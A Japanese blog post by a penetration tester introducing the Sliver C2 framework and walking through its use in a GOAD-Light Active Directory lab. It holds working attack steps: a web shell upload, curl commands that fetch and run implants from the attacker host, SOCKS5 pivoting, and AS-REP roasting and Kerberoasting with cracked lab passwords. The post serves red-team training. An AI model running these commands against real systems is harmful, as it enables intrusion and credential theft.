Compact
true
担当領域:リスクハンティング/専門分野:オフェンシブセキュリティ
ペネトレーションテストやTLPTを主な業務としつつ、セキュリティ研修講師や社内CTF運営として得られた知見を社内外に還元している。情報処理安全確保支援士(RISS)/CISSP,CCSP/CISA,CISM/GXPN/CEH MASTER/CRTP,CRTE/CRTO,CRTL/OSCP+,OSWE,OSED/IPA(ES,SC,NW)/AWS(SAP,SCS)/Azure(AZ-305,SC-100)/LinuC303/RHCSA/2級鍵師/甲種火薬類取扱保安責任者/危険物乙種3,4,5,6類/CVE19件報告実績などを保持。

今回はペネトレーションテストやレッドチーム演習で利用できるオープンソースのC2フレームワーク「Sliver」を紹介します。最初にSliverの概要と基本的な使い方、特徴的な機能、インストール方法を順に説明します。その後、Active Directoryの演習環境であるGOAD-Lightを使用してSliverの使用例を説明します。
本ブログでは、セキュリティ診断で使用されるC2フレームワークの概要を理解することを目的としています。本ブログで紹介する内容を悪用しないでください。

1. Sliverとは

Sliverは、Bishop Foxが開発・公開しているオープンソースのC2(Command and Control)フレームワークです[1]。実際の攻撃者の行動を再現し、組織の防御態勢を評価するペネトレーションテストやレッドチーム演習で利用できます。
SliverはWindows、Linux、macOSを対象としたImplantを生成でき、mTLS、HTTP/HTTPS、DNS、WireGuardなど複数のC2通信方式をサポートしています。また、複数のオペレーターによる共同作業、ポートフォワーディング、SOCKS5プロキシ、Implant間のピボット、Armoryによる機能拡張など、ネットワーク内部での検証に役立つ機能を備えています。

1-1. Sliverの特徴

Sliverの主な特徴は次の通りです。

1-2. Sliverの構成要素

Sliverの基本的な動作を理解する上で、Sliver Server、Server Console、Sliver Client、Implantの4つを理解することが重要です[2]。

1-3. SessionとBeaconの違い

SliverのImplantには、SessionとBeaconという2つの動作モードがあります[3]。

Beaconに対してinteractiveコマンドを実行すると、そのImplantに組み込まれているC2通信方式を使用してSessionを追加できます。このとき、Sessionを閉じてもBeacon自体は動作を継続します。用途に応じてBeaconとSessionを切り替えることができます。

2. Sliverの基本的な使い方

ここからは、Sliver Clientを使用した基本的な操作を説明します。コマンドのオプションはSliverのバージョンによって変更される場合があります。実行時にはhelpコマンドまたは<コマンド> --helpを確認してください。

2-1. Sliver Serverの起動

インストール方法は、インストールスクリプトを行う方法と手動でインストールした方法の2種類あります。公式のLinux用インストールスクリプトを使用した場合、Sliver Serverはsystemdサービスとして構成されます[4]。サービスの状態は次のコマンドで確認できます。

sudo systemctl status sliver
1
1

停止している場合は、次のコマンドで起動します。

sudo systemctl start sliver
1
1

手動でインストールしたSliver Serverは、次のコマンドで起動します。この場合、Sliver ServerとともにServer Consoleが起動します。

sudo ./sliver-server
1
1

Server Consoleが表示され、「sliver >」とプロンプトから操作できれば起動は完了です。

2-2. Sliver ClientからSliver Serverへの接続

Server Consoleを使用する場合、Server Console をSliver Clientとして使用できるため、Sliver ClientをSliver Serverに接続する処理は不要です。Sliver Serverをsystemdサービスとして動作させる場合や、離れた端末から操作する場合はSliver Clientを使用します。 接続には、あらかじめSliver Serverで生成したオペレーター用の設定ファイルをSliver Clientへ取り込みます。
LinuxまたはmacOSでは、次のように設定ファイルを取り込みます。

./sliver-client import ./operator1.cfg
./sliver-client
1
1

Windowsでは次のように実行します。

.\sliver-client.exe import .\operator1.cfg
.\sliver-client.exe
1
1

複数の設定が登録されている場合は接続先を選択します。「sliver >」というプロンプトが表示されれば、Sliver Serverへの接続は完了です。

2-3. C2リスナーの起動

Implantからの接続を受け付けるには、Sliver Server上でC2リスナーを起動します。Sliverではmtls、http、https、dns、wgなどのコマンドを使用します。
HTTPSのC2リスナーを使用する場合、Sliver Clientで次のコマンドを実行します。

sliver > https
1
1

オプションを指定しない場合、HTTPSリスナーはTCP/443で待ち受けます。起動中のリスナーはjobsコマンドで確認できます。

sliver > jobs
1
1

2-4. Implantの生成

Implantはgenerateコマンドで生成します。次の例では、192.0.2.10で動作するC2リスナーにHTTP/HTTPSで接続する64ビット版Windows向けのSession型Implantを生成します。

sliver > generate --http 192.0.2.10 --os windows --arch amd64
1
1

--httpで生成したImplantは、接続時にHTTPSを試行し、失敗した場合にHTTPを試行します[5]。HTTPSだけを使用する検証では、Sliver ServerでHTTPSリスナーのみを起動します。
Beacon型Implantを生成する場合は、generate beaconコマンドを使用します。次の例では、60秒間隔でチェックインし、最大15秒のジッターを設定しています。

sliver > generate beacon --http 192.0.2.10 --os windows --arch amd64 --seconds 60 --jitter 15
1
1

2-5. Implantの起動と接続確認

生成したImplantを診断対象のWindows端末へ配置して実行します。

.\<生成されたImplant名>.exe
1
1

ImplantがSliver Serverへ接続すると、Sliver Clientに接続通知が表示されます。現在のSessionは次のコマンドで確認できます。

sliver > sessions
1
1

Beacon型Implantは次のコマンドで確認します。

sliver > beacons
1
1

2-6. Sessionを使用した遠隔操作

操作するSessionはuseコマンドで選択します。IDは先頭の一部だけでも指定でき、引数を付けずに実行すると選択画面が表示されます。

sliver > sessions
sliver > use <Session ID>
1
1

Sessionを選択した後は、次のようなコマンドで対象端末の情報を確認できます。

sliver (<Implant名>) > info
sliver (<Implant名>) > whoami
sliver (<Implant名>) > pwd
sliver (<Implant名>) > ls
1
1

backgroundコマンドを実行するとSessionを終了せずにSliver Clientのプロンプトへ戻り、別のSessionやBeaconを選択できます。

2-7. Beaconを使用した遠隔操作

Beaconを操作する場合も、useコマンドで対象を選択します。

sliver > beacons
sliver > use <Beacon ID>
1
1

Beaconに対してコマンドを実行すると、命令はタスクとしてSliver Serverに登録されます。Implantが次にチェックインした際にタスクを取得し、実行結果を返します。

sliver (<Implant名>) > whoami
sliver (<Implant名>) > tasks
1
1

過去のタスクと状態はtasksコマンド、過去の結果はtasks fetchコマンドで確認できます。対話的な操作が必要になった場合は、次のようにSessionを追加します。

sliver (<Implant名>) > interactive
1
1

作業後にcloseコマンドを実行すると、追加したSessionだけを閉じ、元のBeaconは残すことができます。

2-8. ファイルのアップロードとダウンロード

SessionまたはBeaconを選択した状態でuploadコマンドを実行すると、Sliver Clientを操作している端末上のファイルを対象端末へ転送できます。

sliver (<Implant名>) > upload /tmp/sample.txt C:\Windows\Temp\sample.txt
1
1

対象端末のファイルをSliver Clientを操作している端末に取得する場合はdownloadコマンドを使用します。

sliver (<Implant名>) > download C:\Windows\Temp\result.txt /tmp/result.txt
1
1

3. Sliverの高度な機能

Sliverは、基本的な遠隔操作以外にも、ネットワーク構成や目的に応じた機能を備えています。ここでは代表的な機能の概要を紹介します。

3-1. C2通信方式の選択

Sliverでは複数のC2通信方式を1つのImplantに設定でき、接続に失敗した場合の代替経路として使用できます。代表的な通信方式と特徴は次のとおりです。

header-row-bg
center
center
通信方式
1
1
特徴
1
1
主な注意点
1
1
mTLS
1
1
ImplantとServerが相互に証明書を検証する。Sliverが利用を推奨している方式の1つ
1
1
専用のTCP通信を許可する必要がある
1
1
HTTP/HTTPS
1
1
一般的なWeb通信と同じポートを利用しやすく、システムのプロキシ設定も利用できる
1
1
--httpではHTTPS失敗後にHTTPも試行するため、Firewallとリスナーの設定を合わせる
1
1
DNS
1
1
対象からSliver Serverへ直接TCP接続できない環境でも、DNSリゾルバーを経由できる場合がある
1
1
ドメインと権威DNSの設定が必要で、通信速度が遅く、DNSトンネルとして検出されやすい[6]
1
1
WireGuard
1
1
WireGuardを使用したC2で、専用のポートフォワーディングやSOCKS機能を利用できる
1
1
UDP通信とWireGuardクライアントを設定する必要がある
1
1

例えば、mTLSとHTTP/HTTPSを設定したImplantは次のように生成できます。

sliver > generate --mtls c2.example.com --http c2.example.com --os windows --arch amd64
1
1

複数の通信方式を指定した場合、既定では性能を優先して順番に接続を試行します。

3-2. ポートフォワーディングとプロキシ

Sliverには、Sessionを経由して任意のTCP通信を内部ネットワークへ転送するportfwd機能があります[7]。次の例では、Sliver Clientを操作している端末の127.0.0.1:13389に接続した通信を、Implantから到達可能な192.168.56.11:3389へ転送します。

sliver (<Implant名>) > portfwd add --bind 127.0.0.1:13389 --remote 192.168.56.11:3389
1
1

特定のTCPサービスへ接続したい場合はポートフォワーディングが分かりやすい一方、複数の宛先やポートへ柔軟に接続したい場合はSOCKS5プロキシが便利です。Sessionを選択して次のコマンドを実行すると、Sliver Clientを操作している端末上にSOCKS5プロキシが作成されます[8][9]。

sliver (<Implant名>) > socks5 start
1
1

表示された待受アドレスとポートをProxyChainsなどのSOCKS5対応ツールに設定すると、その通信をImplant経由で内部ネットワークへ送信できます。ただし、portfwdとインバンドSOCKS5はC2通信内にデータを多重化するため、通信方式によっては速度や安定性が低下する可能性があります。また、いずれもBeaconではなくSessionでの接続が必要です。

3-3. TCPと名前付きパイプによるピボット

Sliverにおける「Pivots」は、一般的なTCP転送とは異なり、Implantから別のImplantへC2通信を中継する機能です[10]。外部のSliver Serverへ直接接続できない端末で、すでに接続済みのImplantを中継点としてC2接続を確立できます。
TCPピボットは各プラットフォームで利用できます。中継元となるSessionを選択し、次のようにTCPピボットリスナーを起動します。

sliver (<中継元Implant名>) > pivots tcp
1
1

続いて、中継元端末の内部ネットワーク側IPアドレスとpivots tcpコマンドで表示された待受ポートを指定して、新しいImplantを生成します。

sliver > generate --tcp-pivot 192.168.56.22:9898 --os windows --arch amd64
1
1

名前付きパイプによるピボットはWindowsでのみ利用できます。中継元のSessionで名前付きパイプのリスナーを起動し、同じパイプ名を指定したImplantを生成します。

sliver (<中継元Implant名>) > pivots named-pipe --bind sliver-pivot
sliver > generate --named-pipe 192.168.56.22/pipe/sliver-pivot --os windows --arch amd64
1
1

ピボット接続ではImplant同士が認証を行うため、同じSliver Serverで生成したImplant同士だけが接続できます。また、SliverのPivotsはSessionでのみ利用できます。

3-4. マルチプレイヤーモード

マルチプレイヤーモードを使用すると、複数のオペレーターが同じSliver Serverへ接続し、Implantやタスクの情報を共有できます[11]。
Server Consoleで次のコマンドを実行し、マルチプレイヤー用のリスナーを起動します。

sliver > multiplayer
1
1

続いてオペレーターごとの設定ファイルを生成します。--lhostには、各オペレーターのSliver Clientから到達できるSliver ServerのIPアドレスまたはホスト名を指定します。

sliver > new-operator --name operator1 --lhost 192.0.2.10 --permissions all
1
1

生成した設定ファイルを安全な方法で各オペレーターへ配布し、それぞれのSliver Clientへ取り込むと接続できます。複数人が同じBeaconへタスクを登録した場合も、タスクは登録順に処理されます。長時間動作するタスクが同時に登録されると、他の結果の表示が遅延することがあるため、実施前に対象と操作内容を分担しておくことが重要です。

3-5. Armoryによる機能拡張

Armoryは、SliverのAliasとExtensionを管理するパッケージマネージャーです[12]。BOFや.NETツールなどの追加機能をSliver Clientへ導入できます。
利用可能なパッケージは次のコマンドで確認します。

sliver > armory
1
1

パッケージを導入する場合は、内容と提供元を確認してから次のコマンドを実行します。

sliver > armory install <パッケージ名>
1
1

導入済みのAliasとExtensionは、それぞれaliasesコマンドとextensionsコマンドで確認できます。また、更新にはarmory updateコマンドを使用します。

4. Sliverのインストール

Sliver ServerはLinux、Windows、macOSで動作しますが、公式ドキュメントではLinuxまたはmacOS上での運用が推奨されています[3]。本記事では、Kali Linux上にSliver Serverをインストールする想定で説明します。
Sliverは公式のリリースページから実行ファイルをダウンロードできます[13]。Linuxでは公式のインストールスクリプトも利用でき、Sliver Server、Windows向けクロスコンパイラー、systemdサービス、ローカルユーザー用のSliver Client接続設定がまとめて構成されます[4]。
インストールスクリプトを使用する場合は、実行前に内容を確認します。

curl -fsSL https://sliver.sh/install -o /tmp/sliver-install.sh
less /tmp/sliver-install.sh
sudo bash /tmp/sliver-install.sh
1
1

インストール後、次のコマンドでサービスの状態を確認します。

sudo systemctl status sliver
1
1

自動起動は設定されていないため、Kali Linuxの再起動後はsystemctl start sliverコマンドでSliver Serverを起動する必要があります。
systemdでSliver Serverが起動していることを確認した後、Sliver Clientを起動します。

sliver
1
1

5. GOAD-Lightを使用したSliverの使用例

5-1. シナリオとネットワーク構成

今回の例では、Active Directory(AD)環境の演習環境としてGOAD-Lightを使用します。Kali Linuxから直接アクセスできる対象をFirewall(pfSense)によってSRV02(castelblack)のIIS(TCP/80)のみに制限します。GOAD-Lightの公式ドキュメントでは、SRV02(castelblack)のIISにファイルをアップロードできる設定が含まれることが示されています[14][15]。この機能を利用してSliver Implantを起動し、SRV02(castelblack)からKali LinuxへのHTTPS C2接続を確立します。
その後、SliverのSOCKS5プロキシを使用して、Kali Linuxから直接到達できないDC02(winterfell)へ接続します。さらに、brandon.starkユーザーに対するAS-REP Roastingで資格情報を取得し、そのアカウントを使用したKerberoastingによって、新たにRDP権限を持つアカウントjon.snowユーザーの資格情報を取得し、SRV02(castelblack)を経由してC2通信を行う新たなImplantを実行するところまでを説明します。
本稿で使用するIPアドレスは次のとおりです。

header-row-bg
center
center
機器
1
1
インターフェース/IPアドレス
1
1
役割
1
1
Kali Linux
1
1
192.168.210.50
1
1
Firewall WAN側との接続、Sliver Server
1
1
Firewall
1
1
WAN: 192.168.210.100
1
1
Kali Linux側のFirewallインターフェース
1
1
Firewall
1
1
LAN: 192.168.200.100
1
1
GOAD-Light側のFirewallインターフェース
1
1
SRV02(castelblack)
1
1
192.168.200.22
1
1
IIS
1
1
DC02(winterfell)
1
1
192.168.200.11
1
1
Domain Controller
1
1

使用する主な通信ルールは次のとおりです。

なお、本来のGOAD-LightではDC02でMicrosoft Defenderが有効になっていますが、今回は説明を簡略化するために無効化しています。

5-2. IISのASP.NETファイルアップロード機能による初期侵入

GOAD-Lightの公式ドキュメントでは、SRV02(castelblack)のIISがファイルのアップロードを許可し、アップロードしたコードがIIS実行アカウントで動作するシナリオが示されています[14][15]。最初にKali LinuxからIISの応答とアップロード画面を確認します。

50
50

PayloadsAllTheThingsのshell.aspxを使用してシェルの取得を試みます[16]。 shell.aspxを編集し、die();をコメントアウトすることで許可するIPアドレスの制限を解除します。

$ cat shell.aspx | grep -A 2 '!validIp'
        if (!validIp) {
                //die();
        }
1
1

ブラウザでhttp://192.168.200.22/Default.aspxを開き、ファイル選択欄からshell.aspxを選択して送信します。

50

ブラウザでhttp://192.168.200.22/upload/shell.aspxを開き、whoamiコマンドを実行できることを確認します。

50

SliverにはASPX形式のWeb Shellを生成する標準機能はありません。そのため、shell.aspxを使用してImplantをダウンロード・実行します。

5-3. Sliver Implantのダウンロードと実行

Sliver ClientでHTTPSリスナーを開始します。

sliver > https --lhost 192.168.210.50 --lport 443
sliver > jobs
1
1

次に、Windows向けSession型Implantを生成します。

[127.0.0.1] sliver > generate --os windows --arch amd64 --format exe --http https://192.168.210.50:443 --
save /home/kali/sliver/

[*] Generating new windows/amd64 implant binary
[*] Symbol obfuscation is enabled
[*] Build completed in 58s
[*] Implant saved to /home/kali/sliver/CONFIDENTIAL_MISS.exe
1
1

生成したexeを簡易Webサーバーでホストします。

python3 -m http.server 80
1
1

shell.aspxでImplantをダウンロード・実行するコマンドを実行します。

curl.exe -fSLo "%TEMP%\z.exe" "http://192.168.210.50/CONFIDENTIAL_MISS.exe" && start "" /b "%TEMP%\z.exe"
1
1

Implantが実行され、Sliver Client側で接続を受け付けたことを確認できます。

[*] Session 50f8bded CONFIDENTIAL_MISS - 192.168.200.22:51218 (castelblack) - windows/amd64 - Fri, 21 Aug
 2026 16:07:04 EDT
1
1

5-4. SRV02(castelblack)とのC2接続

Implantを実行した後、Sliver ClientでSessionを確認します。

[127.0.0.1] sliver > sessions

 ID         Transport   Remote Address         Hostname      Username   Operating System   Health
========== =========== ====================== ============= ========== ================== =========
 50f8bded   http(s)     192.168.200.22:51218   castelblack   <err>      windows/amd64      [ALIVE]

[127.0.0.1] sliver > use 50f8bded

[*] Active session CONFIDENTIAL_MISS (50f8bded-16d4-438c-966f-94c4b5d41753)
1
1

info,whoami,pwdで情報を確認します。

[127.0.0.1] sliver (CONFIDENTIAL_MISS) > info

        Session ID: 50f8bded-16d4-438c-966f-94c4b5d41753
              Name: CONFIDENTIAL_MISS
          Hostname: castelblack
              UUID: a0024d56-a77b-c1b3-2aa4-15a20ddef6f4
          Username: <err>
               UID: <err>
               GID: <err>
               PID: 1620
                OS: windows
           Version: Server 2016 build 17763 x86_64
            Locale: en-US
              Arch: amd64
         Active C2: https://192.168.210.50:443
    Remote Address: 192.168.200.22:51218
         Proxy URL:
Reconnect Interval: 1m0s
     First Contact: Fri Aug 21 16:07:04 EDT 2026 (7m21s ago)
      Last Checkin: Fri Aug 21 16:14:24 EDT 2026 (1s ago)

[127.0.0.1] sliver (CONFIDENTIAL_MISS) > whoami

Logon ID: <err>
[*] Current Token ID: IIS APPPOOL\DefaultAppPool
[127.0.0.1] sliver (CONFIDENTIAL_MISS) > pwd

[*] c:\windows\system32\inetsrv
1
1

また、shellコマンドによりSRV02(castleblack)上でコマンドを実行することもできます。

[127.0.0.1] sliver (CONFIDENTIAL_MISS) > shell


[*] Shell management: `shell ls`, `shell attach <id>`
[*] Escape: press Ctrl-] to return to the Sliver client
[*] Opening shell tunnel ...

[*] Started remote shell [2] with pid 1368

PS C:\windows\system32\inetsrv> hostname
hostname
castelblack
PS C:\windows\system32\inetsrv> whoami
whoami
iis apppool\defaultapppool
PS C:\windows\system32\inetsrv> exit
Shell exited
1
1

5-5. SOCKS5プロキシによる内部ネットワークへのピボット

SRV02(castelblack)のSessionを選択し、Sliver Clientを実行しているKali LinuxのループバックアドレスでSOCKS5プロキシへの通信を待ち受けます。

[127.0.0.1] sliver (CONFIDENTIAL_MISS) > socks5 start --host 127.0.0.1 --port 1081

[*] Started SOCKS5 127.0.0.1 1081
⚠️  In-band SOCKS proxies can be a little unstable depending on protocol

[127.0.0.1] sliver (CONFIDENTIAL_MISS) > socks5
[127.0.0.1] sliver (CONFIDENTIAL_MISS) >
 ID   Session ID                             Bind Address     Username   Passwords
==== ====================================== ================ ========== ===========
  1   50f8bded-16d4-438c-966f-94c4b5d41753   127.0.0.1:1081
1
1

Kali Linuxに、proxy.confとしてproxychains設定ファイルを作成します。 timeout値はローカル検証環境のため小さい値としています。

strict_chain
proxy_dns
tcp_read_time_out 500
tcp_connect_time_out 500

[ProxyList]
socks5 127.0.0.1 1081
1
1

SOCKS5プロキシを経由することで、DC02(winterfell)へのアクセスが可能になります。

$ sudo proxychains -q -f proxy.conf nmap -sT -Pn 192.168.200.11
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-21 16:45 -0400
Nmap scan report for 192.168.200.11
Host is up (0.00s latency).
Not shown: 986 closed tcp ports (conn-refused)
PORT     STATE SERVICE
53/tcp   open  domain
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap
445/tcp  open  microsoft-ds
464/tcp  open  kpasswd5
593/tcp  open  http-rpc-epmap
636/tcp  open  ldapssl
3268/tcp open  globalcatLDAP
3269/tcp open  globalcatLDAPssl
3389/tcp open  ms-wbt-server
5985/tcp open  wsman
5986/tcp open  wsmans

Nmap done: 1 IP address (1 host up) scanned in 563.74 seconds
1
1

また、DC02(winterfell)に対してsmbで問い合わせることでどのようなユーザーが存在するかを確認できます。

$ proxychains -q -f proxy.conf nxc smb 192.168.200.11 -u '' -p '' --users
SMB         192.168.200.11  445    WINTERFELL       [*] Windows 10 / Server 2019 Build 17763 x64 (name:WINTERFELL) (domain:north.sevenkingdoms.local) (signing:True) (SMBv1:None) (Null Auth:True)

SMB         192.168.200.11  445    WINTERFELL       [+] north.sevenkingdoms.local\:
SMB         192.168.200.11  445    WINTERFELL       -Username-                    -Last PW Set-       -BadPW- -Description-

SMB         192.168.200.11  445    WINTERFELL       Guest                                      0       Built-in account for guest access to the computer/domain
SMB         192.168.200.11  445    WINTERFELL       arya.stark                    2026-08-20 04:32:59 0       Arya Stark
SMB         192.168.200.11  445    WINTERFELL       sansa.stark                   2026-08-20 04:33:06 0       Sansa Stark
SMB         192.168.200.11  445    WINTERFELL       brandon.stark                 2026-08-20 04:33:08 0       Brandon Stark
SMB         192.168.200.11  445    WINTERFELL       rickon.stark                  2026-08-20 04:33:10 0       Rickon Stark
SMB         192.168.200.11  445    WINTERFELL       hodor                         2026-08-20 04:33:11 0       Brainless Giant
SMB         192.168.200.11  445    WINTERFELL       jon.snow                      2026-08-20 04:33:13 0       Jon Snow
SMB         192.168.200.11  445    WINTERFELL       samwell.tarly                 2026-08-20 04:33:15 0       Samwell Tarly (Password : Heartsbane)
SMB         192.168.200.11  445    WINTERFELL       jeor.mormont                  2026-08-20 04:33:16 0       Jeor Mormont
SMB         192.168.200.11  445    WINTERFELL       sql_svc                       2026-08-20 04:33:18 0       sql service
SMB         192.168.200.11  445    WINTERFELL       [*] Enumerated 10 local users: NORTH
1
1

5-6. brandon.starkユーザーに対するAS-REP Roasting

GOAD-Lightでは、north.sevenkingdoms.localドメインのbrandon.starkユーザーがAS-REP Roastingの対象として設定されています[14][18]。AS-REP RoastingはKerberosの事前認証を要求しないアカウントに対してAS-REPを要求し、オフライン解析可能なデータを取得する手法です。

ImpacketのGetNPUsers[19]をSOCKS5経由で実行します。

$ proxychains -q -f proxy.conf \
  impacket-GetNPUsers 'north.sevenkingdoms.local/brandon.stark' \
  -no-pass \
  -request \
  -dc-ip 192.168.200.11 \
  -format hashcat \
  -outputfile brandon.asrep.txt
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Getting TGT for brandon.stark
$krb5asrep$23$brandon.stark@NORTH.SEVENKINGDOMS.LOCAL:9ff41f(中略)
1
1

得られたハッシュをjohn the ripperにより解析します。

$ john -w=/usr/share/wordlists/rockyou.txt brandon.asrep.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1
AES 256/256 AVX2 8x])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
iseedeadpeople   ($krb5asrep$23$brandon.stark@NORTH.SEVENKINGDOMS.LOCAL)
1g 0:00:00:00 DONE (2026-08-21 16:52) 25.00g/s 1356Kp/s 1356Kc/s 1356KC/s soydivina..250984
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
1
1

これにより、brandon.stark:iseedeadpeopleという資格情報が得られました。

5-7. jon.snowユーザーに対するKerberoasting

Kerberoastingでは、取得したbrandon.starkユーザーの資格情報を使用して、Service Principal Name(SPN)が設定されたアカウントのサービスチケットを要求します。GOAD-Lightではjon.snowユーザーがKerberoastingの対象として設定されています[14][18]。Kali LinuxでImpacketのGetUserSPNs[20]をSOCKS5経由で実行します。

$ proxychains -q -f proxy.conf \
  impacket-GetUserSPNs 'north.sevenkingdoms.local/brandon.stark' \
  -dc-ip 192.168.200.11 \
  -request \
  -request-user jon.snow \
  -outputfile kerberoastable.txt

Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

Password:
ServicePrincipalName                       Name      MemberOf                                                    PasswordLastSet             LastLogon  Delegation
-----------------------------------------  --------  ----------------------------------------------------------  --------------------------  ---------  -----------
CIFS/winterfell.north.sevenkingdoms.local  jon.snow  CN=Night Watch,CN=Users,DC=north,DC=sevenkingdoms,DC=local  2026-08-20 00:33:13.431455  <never>    constrained
HTTP/thewall.north.sevenkingdoms.local     jon.snow  CN=Night Watch,CN=Users,DC=north,DC=sevenkingdoms,DC=local  2026-08-20 00:33:13.431455  <never>    constrained

[-] CCache file is not found. Skipping...
$ cat kerberoastable.txt
$krb5tgs$23$*jon.snow$NORTH.SEVENKINGDOMS.LOCAL$north.sevenkingdoms.local/jon.snow*$0de494(中略)
1
1

kerberoastable.txtにjon.snowユーザーのSPNと$krb5tgs$形式のチケットが含まれることを確認します。 先ほど同様にjohn the ripperを使用してパスワードクラックを試行します。

$ john -w=/usr/share/wordlists/rockyou.txt kerberoastable.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
iknownothing     (?)
1g 0:00:00:02 DONE (2026-08-21 17:14) 0.3759g/s 2794Kp/s 2794Kc/s 2794KC/s ikulet..ikkezelf85
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
1
1

これにより、jon.snow:iknownothingという資格情報が得られました。

5-8. ピボットを使用したSessionの確立

NetExecを使用することでjon.snowユーザーとしてコマンドが実行できることがわかります。

$ proxychains -q -f proxy.conf nxc rdp 192.168.200.11 -u jon.snow -p iknownothing -x whoami
[!] Executing remote command via RDP will disconnect the Windows session (not log off) if the targeted us
er is connected via RDP, do you want to continue ? [Y/n]
RDP         192.168.200.11  3389   WINTERFELL       [*] Windows 10 or Windows Server 2016 Build 17763 (na
me:WINTERFELL) (domain:north.sevenkingdoms.local) (nla:True)
RDP         192.168.200.11  3389   WINTERFELL       [+] north.sevenkingdoms.local\jon.snow:iknownothing (
Pwn3d!)
RDP         192.168.200.11  3389   WINTERFELL       [+] Executing command: whoami with delay 5 seconds
RDP         192.168.200.11  3389   WINTERFELL       [+] Waiting for clipboard to be ready...
RDP         192.168.200.11  3389   WINTERFELL       north\jon.snow
1
1

pivotsコマンドを使用して、SRV02(castelblack)を経由してDC02(winterfell)へアクセスします。最初に、中継元となるSRV02(castelblack)上のSessionを選択し、TCPピボットリスナーを起動します。

[127.0.0.1] sliver > sessions

 ID         Name                Transport   Remote Address         Hostname      Username   Process (PID)                  Integrity   Operating System   Locale   Last Message                            Health

========== =================== =========== ====================== ============= ========== ============================== =========== ================== ======== ======================================= ========
=
 66c9fcd9   CONFIDENTIAL_MISS   http(s)     192.168.200.22:50356   castelblack   <err>      C:\Windows\TE
MP\z.exe (1620)   -           windows/amd64      en-US    Sun Aug 23 14:49:40 EDT 2026 (2s ago)   [ALIVE]


[127.0.0.1] sliver > use 66c9fcd9

[*] Active session CONFIDENTIAL_MISS (66c9fcd9-7604-4455-8267-29e591d853bd)

[127.0.0.1] sliver (CONFIDENTIAL_MISS) > pivots tcp

[*] Started tcp pivot listener :9898 with id 1
1
1

次に、pivotsを使うImplantを生成します。

[127.0.0.1] sliver (CONFIDENTIAL_MISS) > generate --tcp-pivot 192.168.200.22:9898 --os windows --arch amd
64

[*] Generating new windows/amd64 implant binary
[*] Symbol obfuscation is enabled
[*] Build completed in 59s
[*] Implant saved to /home/kali/SMILING_STEP-SON.exe
1
1

Kali Linuxの80番ポートで簡易Webサーバーを建て、生成したSMILING_STEP-SON.exeを転送できるようにします。

python3 -m http.server 80
1
1

DC02(winterfell)上のjon.snowユーザーとして、SMILING_STEP-SON.exeをダウンロード・実行します。

┌──(kali㉿kali)-[~/sliver]
└─$ proxychains -q -f proxy.conf nxc rdp 192.168.200.11 -u jon.snow -p iknownothing -x 'curl.exe -O 192.168.210.50/SMILING_STEP-SON.exe'
[!] Executing remote command via RDP will disconnect the Windows session (not log off) if the targeted us
er is connected via RDP, do you want to continue ? [Y/n]
RDP         192.168.200.11  3389   WINTERFELL       [*] Windows 10 or Windows Server 2016 Build 17763 (na
me:WINTERFELL) (domain:north.sevenkingdoms.local) (nla:True)
RDP         192.168.200.11  3389   WINTERFELL       [+] north.sevenkingdoms.local\jon.snow:iknownothing (Pwn3d!)
RDP         192.168.200.11  3389   WINTERFELL       [+] Executing command: curl.exe -O 192.168.210.50/SMILING_STEP-SON.exe with delay 5 seconds
RDP         192.168.200.11  3389   WINTERFELL       [+] Waiting for clipboard to be ready...
RDP         192.168.200.11  3389   WINTERFELL       [-] Clipboard is empty or contains non-text data


┌──(kali㉿kali)-[~/sliver]
└─$ proxychains -q -f proxy.conf nxc rdp 192.168.200.11 -u jon.snow -p iknownothing -x 'SMILING_STEP-SON.exe'
[!] Executing remote command via RDP will disconnect the Windows session (not log off) if the targeted user is connected via RDP, do you want to continue ? [Y/n]
RDP         192.168.200.11  3389   WINTERFELL       [*] Windows 10 or Windows Server 2016 Build 17763 (name:WINTERFELL) (domain:north.sevenkingdoms.local) (nla:True)
RDP         192.168.200.11  3389   WINTERFELL       [+] north.sevenkingdoms.local\jon.snow:iknownothing (Pwn3d!)
RDP         192.168.200.11  3389   WINTERFELL       [+] Executing command: SMILING_STEP-SON.exe with delay 5 seconds
RDP         192.168.200.11  3389   WINTERFELL       [+] Waiting for clipboard to be ready...
RDP         192.168.200.11  3389   WINTERFELL       [-] Clipboard is empty or contains non-text data
1
1

SRV02(castelblack)を経由してSliver ServerにC2通信が行われます。

[*] Session 0da1e441 SMILING_STEP-SON - 192.168.200.22:50356->CONFIDENTIAL_MISS-> (winterfell) - windows/amd64 - Sun, 23 Aug 2026 14:59:13 EDT

[127.0.0.1] sliver (CONFIDENTIAL_MISS) > sessions

 ID         Name                Transport   Remote Address                              Hostname      Use
rname         Process (PID)                                   Integrity   Operating System   Locale   Last Message                             Health
========== =================== =========== =========================================== ============= ====
============ =============================================== =========== ================== ======== ====
==================================== =========
 66c9fcd9   CONFIDENTIAL_MISS   http(s)     192.168.200.22:50356                        castelblack   <err>            C:\Windows\TEMP\z.exe (1620)                    -           windows/amd64      en-US    Sun Aug 23 15:01:51 EDT 2026 (1s ago)    [ALIVE]

 0da1e441   SMILING_STEP-SON    pivot       192.168.200.22:50356->CONFIDENTIAL_MISS->   winterfell    NOR
TH\jon.snow   C:\Users\jon.snow\SMILING_STEP-SON.exe (7412)   -           windows/amd64      en-US    Sun
 Aug 23 15:01:13 EDT 2026 (39s ago)   [ALIVE]

[127.0.0.1] sliver (CONFIDENTIAL_MISS) > use 0da1e441

[*] Active session SMILING_STEP-SON (0da1e441-9a2b-434d-87f1-3e89e29c1dc1)

[127.0.0.1] sliver (SMILING_STEP-SON) > info

        Session ID: 0da1e441-9a2b-434d-87f1-3e89e29c1dc1
              Name: SMILING_STEP-SON
          Hostname: winterfell
              UUID: 87424d56-a3f8-7bd3-2c15-47c6ab83bfee
          Username: NORTH\jon.snow
